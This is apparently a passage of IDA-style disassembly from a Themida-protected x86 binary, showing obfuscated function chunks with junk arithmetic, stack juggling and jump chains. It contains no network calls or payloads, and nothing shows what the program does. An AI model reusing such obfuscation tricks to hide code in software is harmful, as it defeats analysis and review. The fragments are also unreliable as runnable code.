loc_564CCA: ; CODE XREF: sub_56755A-32Ej
xor [esp+30h+var_30], edi
jmp loc_5605B6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_564CD2: ; CODE XREF: sub_56E89A-ED97j
pop edi
jmp loc_56CFE5
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_564CD8: ; CODE XREF: Themida_:0055E916j
shr ebp, 6
jmp loc_55BF5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564CE0: ; CODE XREF: sub_56755A+1470j
push 3C60083Eh
mov ebx, [esp+34h+var_34]
add esp, 4
shl ebx, 8
push ebx
not [esp+34h+var_34]
pop ebx
push edx
mov edx, 714D3D50h
neg edx
push 0
sub [esp+38h+var_38], edx
pop edx
dec edx
shl edx, 1
not edx
jmp loc_56F348
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564D0E: ; CODE XREF: Themida_:0055B6E3j
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
push 0BD4h
mov [esp], eax
push esi
mov esi, 1A9F3DAFh
mov eax, 1A9F3DABh
xor eax, esi
pop esi
add ecx, eax
mov eax, [esp]
add esp, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
add ebx, 156245A3h
sub ebx, 21E12CB9h
add ebx, 639E240Bh
jmp loc_561FBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B274
loc_564D5C: ; CODE XREF: sub_56B274+6j
sub ebp, 0FFFFFFFFh
add ebp, 1
sub ebp, 5D540557h
shl ebp, 2
xor ebp, 58716762h
sub edi, ebp
pop ebp
push esi
jmp sub_566FBB
; END OF FUNCTION CHUNK FOR sub_56B274
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564D7D: ; CODE XREF: sub_56755A+4F9Cj
pop edi
jmp sub_565269
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_564D83: ; CODE XREF: sub_569E65+636Ej
add [esp+8+var_4], ebx
pop ebx
pop eax
jmp loc_564089
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564D8E: ; CODE XREF: sub_56755A-6F91j
mov [esp+10h+var_10], esi
push edi
push 4C47108Dh
jmp loc_563803
; ---------------------------------------------------------------------------
loc_564D9C: ; CODE XREF: sub_56755A+6BA6j
pop ebp
add ecx, edx
pop edx
jmp loc_56587F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5607D3
loc_564DA5: ; CODE XREF: sub_5607D3+15j
xor edx, 7F15551Dh
xor edx, 0D209F10h
jmp loc_564016
; END OF FUNCTION CHUNK FOR sub_5607D3
; ---------------------------------------------------------------------------
loc_564DB6: ; CODE XREF: Themida_:00570329j
shl ebp, 6
neg ebp
dec ebp
sub esp, 4
mov [esp], esi
mov esi, 49D7DBE7h
sub ebp, esi
pop esi
xor edx, ebp
pop ebp
jmp loc_55C4AA
; ---------------------------------------------------------------------------
loc_564DD5: ; CODE XREF: Themida_:0056675Fj
add eax, 0B693751h
jmp loc_55DC02
; ---------------------------------------------------------------------------
loc_564DDF: ; CODE XREF: Themida_:0056C19Cj
sub dh, bl
jmp loc_564A69
; ---------------------------------------------------------------------------
loc_564DE6: ; CODE XREF: Themida_:0055D00Cj
add eax, esi
push dword ptr [esp]
jmp loc_56AC9D
; ---------------------------------------------------------------------------
loc_564DF0: ; CODE XREF: Themida_:0056FF45j
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_560E0D
; ---------------------------------------------------------------------------
lodsd
jmp loc_5664D1
; ---------------------------------------------------------------------------
push edx
jmp loc_5704E2
; ---------------------------------------------------------------------------
loc_564E10: ; CODE XREF: Themida_:0056DF02j
sub edi, ecx
pop ecx
shr edi, 7
xor edi, 18D511Bh
sub ebx, edi
pop edi
jmp loc_56FA07
; =============== S U B R O U T I N E =======================================
sub_564E24 proc near ; CODE XREF: sub_56755A-4DF7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C48B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055CB51 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055DFFE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005606FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056613B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00569936 SIZE 00000012 BYTES
sub esp, 4
jmp loc_55DFFE
sub_564E24 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564E2C: ; CODE XREF: sub_56755A-8194j
sub ecx, 0B8FCB9E3h
jmp loc_56996E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564E37: ; CODE XREF: Themida_:0056B8C2j
push esi
mov esi, 6BD17A1Eh
jmp loc_56DF5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_564E42: ; CODE XREF: sub_56B62C-DC2Bj
add ah, 0A8h
add bh, ah
pop eax
and bh, 86h
jmp loc_55C8A3
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_564E50: ; CODE XREF: sub_560B67+BE8Fj
inc edx
jmp loc_56523A
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_564E56: ; CODE XREF: sub_56CEE9-B654j
sub ebx, 4D7338D3h
jmp loc_560A84
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push edx
push 794Ah
mov [esp], esi
mov esi, 4
jmp loc_56B85C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_564E7B: ; CODE XREF: sub_56CB7D-CB72j
push [esp+0Ch+var_C]
pop ecx
add esp, 4
push edx
mov edx, 4
add edi, edx
mov edx, [esp+0Ch+var_C]
push ebp
jmp loc_56DD9B
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564E96: ; CODE XREF: sub_56755A+476Dj
push 310Ch
jmp loc_55C0FD
; ---------------------------------------------------------------------------
loc_564EA0: ; CODE XREF: sub_56755A+2D97j
sub edi, 7E57F20h
add edi, 50E7286Fh
add edi, ebp
sub edi, 50E7286Fh
add edi, 7E57F20h
pop ebp
push ebx
jmp loc_56B508
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564EC1: ; CODE XREF: Themida_:0056F523j
pop ebx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_56DDFA
; ---------------------------------------------------------------------------
loc_564ED1: ; CODE XREF: Themida_:005685A6j
mov [esp], eax
mov eax, 578B78E9h
add [esp+4], eax
push dword ptr [esp]
mov eax, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_568541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564EFA: ; CODE XREF: sub_56755A+3FB6j
mov edi, [esp+12h+var_14+2]
jmp loc_562CCA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564F02: ; CODE XREF: Themida_:0056BA42j
push 3F3Fh
mov [esp], esp
add dword ptr [esp], 4
pop edx
push edx
jmp loc_562265
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_564F15: ; CODE XREF: sub_5B3505-525D0j
add esp, 4
add al, dl
mov edx, [esp+28h+var_28]
push ebx
jmp loc_56B5BC
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569496
loc_564F26: ; CODE XREF: sub_569496-D52Bj
xor [esp-4+arg_0], ah
xor ah, [esp-4+arg_0]
xor [esp-4+arg_0], ah
jmp loc_56BF75
; END OF FUNCTION CHUNK FOR sub_569496
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564F34: ; CODE XREF: sub_56755A+2288j
mov bx, word ptr [esp+12h+var_14+2]
add esp, 2
jmp loc_562CFB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564F40: ; CODE XREF: Themida_:005643C3j
push 13ADh
mov [esp], ecx
push ebx
jmp loc_5673A6
; ---------------------------------------------------------------------------
loc_564F4E: ; CODE XREF: Themida_:0056735Fj
mov bh, 1Dh
or bh, 0CAh
shl bh, 4
not bh
and bh, 44h
sub esp, 4
mov [esp], edx
mov dh, 9Eh
push edx
not byte ptr [esp+1]
jmp loc_56269D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564F6D: ; CODE XREF: sub_56755A-500Aj
mov ecx, 4
jmp loc_561387
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564F77: ; CODE XREF: Themida_:0056212Dj
push edx
push dword ptr [esp+4]
pop edx
jmp loc_56BD51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FFC1
loc_564F82: ; CODE XREF: sub_55FFC1-33B8j
pop ebx
mov ecx, [esp+0]
add esp, 4
pop ebx
push 4DEFh
mov [esp-4+arg_0], eax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_55FFC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561D98
loc_564F97: ; CODE XREF: sub_561D98+AA00j
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
jmp loc_564B23
; END OF FUNCTION CHUNK FOR sub_561D98
; ---------------------------------------------------------------------------
loc_564FA6: ; CODE XREF: Themida_:0056CF4Bj
mov di, 3F92h
add si, di
pop di
jmp loc_55F785
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564FB4: ; CODE XREF: sub_56755A+56D8j
pop edx
add eax, 2
jmp loc_563B0A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564FBF: ; CODE XREF: Themida_:0056DD11j
not ebx
dec ebx
shl ebx, 1
jmp loc_55D28F
; ---------------------------------------------------------------------------
loc_564FC9: ; CODE XREF: Themida_:00566199j
sub al, dh
push ecx
mov cl, 52h
add al, cl
pop ecx
add al, 17h
mov edx, [esp]
add esp, 4
sub al, 48h
push cx
mov cl, 41h
jmp loc_56EAD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_564FE4: ; CODE XREF: sub_560CAA-F71j
pop ecx
xor edx, 0AA0A008Bh
add ecx, edx
pop edx
push 2DD6h
mov [esp+8+var_8], edx
push eax
push 8C22749h
pop eax
sub eax, 8C22745h
mov edx, eax
pop eax
sub ecx, edx
pop edx
jmp loc_5634AC
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
loc_56500D: ; CODE XREF: Themida_:00561A3Fj
sub esi, ecx
pop ecx
push ebp
mov ebp, 705634A5h
jmp loc_565274
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56501B: ; CODE XREF: sub_56755A+3517j
push 2ED0h
jmp loc_560333
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565025: ; CODE XREF: Themida_:0056E01Fj
pop edx
add edi, ebp
mov ebp, [esp]
jmp loc_566F35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_565030: ; CODE XREF: sub_562F50-326Cj
push 1D2Fh
mov [esp+8+var_8], ecx
mov ecx, 4
add eax, ecx
pop ecx
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
jmp loc_5686C1
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56504B: ; CODE XREF: sub_56755A+74C4j
pop edx
push edi
jmp loc_56EF9F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565052: ; CODE XREF: Themida_:0056B4E2j
pop esp
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_565058: ; CODE XREF: Themida_:0056F8C5j
push esi
mov esi, 29BA4ACAh
jmp loc_55CD2C
; ---------------------------------------------------------------------------
loc_565063: ; CODE XREF: Themida_:0056A118j
mov [esp], esi
jmp loc_56A538
; ---------------------------------------------------------------------------
loc_56506B: ; CODE XREF: Themida_:0055F9D2j
xor edi, 5C2F2E00h
jmp loc_56EDC2
; ---------------------------------------------------------------------------
loc_565076: ; CODE XREF: Themida_:0056CC67j
add esp, 4
push edi
mov edi, 4C786AC7h
jmp loc_5631B1
; ---------------------------------------------------------------------------
loc_565087: ; CODE XREF: Themida_:0055F180j
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_55F8A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_56509B: ; CODE XREF: sub_56CB1B-101D2j
sub edx, 30AC0A58h
push 361h
mov [esp+8+var_8], edx
jmp loc_566BF0
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_5650AE: ; CODE XREF: sub_56CB7D-16CFj
mov esi, 4
sub ecx, esi
pop esi
xchg ecx, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], eax
xor [esp+10h+var_10], edx
xor edx, [esp+10h+var_10]
xor [esp+10h+var_10], edx
jmp loc_5637C6
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_5650CB: ; CODE XREF: Themida_:00569886j
xor ebp, 6DA1276h
mov ebx, ebp
push dword ptr [esp]
pop ebp
jmp loc_56089C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5650DC: ; CODE XREF: sub_56755A-7E7Fj
sub edi, esi
pop esi
jmp loc_569948
; ---------------------------------------------------------------------------
loc_5650E4: ; CODE XREF: sub_56755A+756Aj
mov ecx, esp
jmp loc_56ED0B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_5650EB: ; CODE XREF: sub_561ED8+AB57j
add esp, 2
jmp loc_56701F
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5650F3: ; CODE XREF: sub_56755A+8EC8j
pop esp
mov [esp+30h+var_30], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp+30h+var_30]
xor [esp+30h+var_30], ecx
jmp loc_5706D8
; ---------------------------------------------------------------------------
loc_56510D: ; CODE XREF: sub_56755A-4D77j
xor ecx, esi
xor esi, ecx
jmp loc_56E44E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_565116: ; CODE XREF: sub_56E75E-75D1j
add esi, ebp
add esi, 4BCD7A03h
sub esi, 7DE026CEh
push ebp
mov ebp, 720104F5h
push 3EEh
mov [esp+0Ch+var_C], esi
jmp loc_560916
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_565137: ; CODE XREF: Themida_:0056EE3Bj
add eax, 3463696Ch
add eax, ecx
push ebx
mov ebx, 3463696Ch
jmp loc_56136A
; ---------------------------------------------------------------------------
loc_565149: ; CODE XREF: Themida_:00564AC2j
xor al, ch
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_569578
; ---------------------------------------------------------------------------
loc_565157: ; CODE XREF: Themida_:0056B533j
pop ebx
shl eax, 1
push edx
mov edx, 0FE1497A6h
sub eax, edx
pop edx
sub ecx, eax
mov eax, [esp]
add esp, 4
mov ebx, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_56ACC9
; ---------------------------------------------------------------------------
loc_56517B: ; CODE XREF: Themida_:0055E851j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 6D22h
mov [esp], edi
mov edi, esp
jmp loc_5626FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565199: ; CODE XREF: sub_56755A+1D2Aj
mov [esp+8+var_8], edx
mov edx, 68411962h
or edx, 0C380158h
shr edx, 3
jmp loc_5654C6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5651AF: ; CODE XREF: Themida_:0056F80Aj
push edx
mov edx, 5345729Ah
xor edx, 5BE55140h
dec edx
add edx, 2C044C5h
not edx
sub edx, 0E4A92DC3h
mov esi, edx
pop edx
inc esi
neg esi
inc esi
jmp loc_563029
; ---------------------------------------------------------------------------
loc_5651D6: ; CODE XREF: Themida_:00565F11j
sub eax, 3D4154A1h
or eax, 35776E1Bh
sub eax, 893936BEh
jmp loc_55F0A2
; ---------------------------------------------------------------------------
loc_5651EA: ; CODE XREF: Themida_:005627CDj
add eax, edi
pop edi
add eax, edx
sub eax, 43300665h
sub eax, 395C2775h
pop edx
jmp loc_56CF60
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
add dword ptr [esp], 0CFB07F2h
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
jmp loc_56B822
; ---------------------------------------------------------------------------
loc_56521E: ; CODE XREF: Themida_:0056DE63j
pop eax
shr eax, 4
xor eax, 4950044Ch
add eax, 285E820Dh
mov edi, eax
pop eax
jmp loc_569F02
; ---------------------------------------------------------------------------
loc_565234: ; CODE XREF: Themida_:0056C970j
inc edx
jmp loc_55E9B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_56523A: ; CODE XREF: sub_560B67+42EAj
add edx, 0A271FA11h
jmp loc_55C8B2
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565245: ; CODE XREF: sub_56755A+8BC0j
xor ebx, [esp+8+var_8]
mov esp, [esp+8+var_8]
and eax, ebp
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop ebp
add esp, 4
jmp loc_56CBF0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_56525F: ; CODE XREF: sub_56CD48+A9Fj
mov ecx, 2FC146BBh
jmp loc_55D703
; END OF FUNCTION CHUNK FOR sub_56CD48
; =============== S U B R O U T I N E =======================================
sub_565269 proc near ; CODE XREF: sub_56755A-27DCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055D15F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055E758 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056047B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560EA6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005613D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562C27 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00564370 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005660DC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005699AB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00569F5E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BBB2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056BFA7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CF50 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EE7E SIZE 00000021 BYTES
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_562C27
sub_565269 endp
; ---------------------------------------------------------------------------
loc_565274: ; CODE XREF: Themida_:00565016j
inc ebp
jmp loc_5671B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_56527A: ; CODE XREF: sub_562F62+CF7Aj
mov esi, 60EB0684h
add esi, 57F0A4DEh
xor edi, esi
pop esi
sub edx, 1CD21C44h
sub edx, 10127B5Ah
jmp loc_55C573
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_565299: ; CODE XREF: Themida_:0056B7B9j
xor edx, 569E2D60h
jmp loc_55DC62
; ---------------------------------------------------------------------------
loc_5652A4: ; CODE XREF: Themida_:0056B9CEj
pop edi
and ecx, ebp
pop ebp
sub esp, 4
jmp loc_564932
; ---------------------------------------------------------------------------
loc_5652B3: ; CODE XREF: Themida_:0056CAF0j
pop esi
jmp loc_56046D
; ---------------------------------------------------------------------------
loc_5652B9: ; CODE XREF: Themida_:005632B9j
add edi, ebx
pop ebx
sub edi, 4
jmp loc_5689F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5652C7: ; CODE XREF: sub_56755A-7358j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+12h+var_14+2]
pop esp
jmp loc_55EA47
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5652DE: ; CODE XREF: Themida_:00562BEAj
push edx
mov edx, 2A3F596Fh
sub edx, 0D703EBE9h
add ecx, edx
pop edx
sub ecx, 341B50D8h
add eax, ecx
pop ecx
add eax, 2E5F405Eh
sub eax, 66F06647h
add eax, ebp
jmp loc_56D4D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565307: ; CODE XREF: sub_56755A-4B06j
xchg esi, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
mov [esp+2+var_4+2], edx
push 3246h
mov [esp+6+var_8+2], ebx
mov bh, al
mov dl, bh
pop ebx
mov [edi+28h], dl
push [esp+2+var_4+2]
mov edx, [esp+6+var_8+2]
jmp loc_569B7A
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56532B proc near ; CODE XREF: sub_56755A-81F8j
; FUNCTION CHUNK AT 0055EFBC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005636C3 SIZE 00000007 BYTES
push ebp
mov ebp, 53B94D47h
jmp loc_5636C3
sub_56532B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_565336: ; CODE XREF: sub_5635DE+6197j
push [esp+8+var_8]
jmp loc_56CF0D
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56533E: ; CODE XREF: sub_56755A-1FDDj
add edx, 4
add edx, 4
xchg edx, [esp+6+var_8+2]
pop esp
mov ecx, [esp+2+var_4+2]
jmp loc_56BE4E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_565356: ; CODE XREF: sub_56D164-FB45j
xchg ebp, [esp+4+var_4]
mov eax, [esp+4+var_4]
push 6594h
mov [esp+8+var_8], ebp
mov ebp, esp
push ebx
jmp loc_55BEE1
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_56536C: ; CODE XREF: Themida_:00566664j
sub ebp, 11E97B9Dh
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_565387: ; CODE XREF: Themida_:00564AA0j
or edx, edi
pop edi
add edx, 0FFFFFFFFh
push eax
mov eax, 7DF87ED2h
sub edx, eax
pop eax
add ebp, edx
pop edx
push 4504h
mov [esp], edx
mov edx, 2
add ebp, edx
pop edx
jmp loc_5692E2
; ---------------------------------------------------------------------------
loc_5653AE: ; CODE XREF: Themida_:0057065Ej
not ebp
and ebp, 13355A90h
xor ebp, 59800862h
push ebx
mov ebx, 47F0089Ah
jmp loc_56D5D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A500
loc_5653C7: ; CODE XREF: sub_56A500-C7DEj
mov edx, 4
jmp loc_567AF7
; END OF FUNCTION CHUNK FOR sub_56A500
; ---------------------------------------------------------------------------
loc_5653D1: ; CODE XREF: Themida_:0056D639j
mov ecx, [esp]
add esp, 4
or ecx, 5AC5672Ch
push ecx
not dword ptr [esp]
pop ecx
or ecx, 290706E6h
xor ecx, 0B1C8A292h
mov ebx, ecx
pop ecx
add esi, 76CA7A71h
add esi, ebx
jmp loc_55F49B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5653FE: ; CODE XREF: sub_56755A+2115j
sub edx, 4
push edx
push [esp+6+var_4+2]
pop edx
pop [esp+6+var_8+2]
pop esp
jmp loc_56E53D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565410: ; CODE XREF: Themida_:00561DABj
add ebp, 4
sub ebp, 4
jmp loc_56944A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56541E: ; CODE XREF: sub_56755A+3533j
add esp, 4
push 4651h
jmp loc_55B972
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56542E proc near ; CODE XREF: sub_56755A+34Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055B874 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056419F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005643FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565DCA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566396 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056925B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C14A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D833 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056EF58 SIZE 00000011 BYTES
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_566396
sub_56542E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565439: ; CODE XREF: sub_56755A-2F17j
push 3B79h
mov [esp+1Ah+var_1C+2], esi
mov esi, 3CBD0EACh
shl esi, 3
jmp loc_560D3D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56544E: ; CODE XREF: Themida_:00560D2Ej
xor cl, bh
pop ebx
xor cl, bl
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_566A0A
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56546D: ; CODE XREF: Themida_:0055C32Dj
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55DF5D
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_565485: ; CODE XREF: Themida_:0056DDCDj
mov edx, 4
add eax, edx
pop edx
push esi
mov esi, 4
add eax, 2F0B0D90h
sub eax, esi
sub eax, 2F0B0D90h
jmp loc_55F025
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5654A4: ; CODE XREF: sub_56755A+699Dj
neg esi
jmp loc_567DA3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov ecx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_56C5E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_5654B9: ; CODE XREF: sub_565C4A+901Cj
sub ecx, eax
jmp loc_5612E6
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5654C0: ; CODE XREF: sub_56755A+460Cj
push edx
jmp loc_56F87B
; ---------------------------------------------------------------------------
loc_5654C6: ; CODE XREF: sub_56755A-23B0j
shl edx, 3
neg edx
jmp loc_55CC4D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5654D0: ; CODE XREF: Themida_:0056B2A8j
push ecx
mov ecx, 4
add edi, ecx
pop ecx
push 6E74h
mov [esp], esi
jmp loc_5648F6
; ---------------------------------------------------------------------------
loc_5654E6: ; CODE XREF: Themida_:0055F84Cj
mov edi, 72DC110Bh
sub esi, edi
pop edi
add esi, ebp
push eax
mov eax, 72DC110Bh
add esi, eax
jmp loc_56ED6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5654FD: ; CODE XREF: sub_56755A-B3C6j
add ecx, edx
pop edx
add ecx, 4
push 7946h
jmp loc_56A66E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565510: ; CODE XREF: Themida_:00565991j
mov ebp, [esp]
add esp, 4
pop ebx
inc ebp
jmp loc_5636EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_56551D: ; CODE XREF: sub_55C719+8j
push [esp+4+var_4]
pop ebp
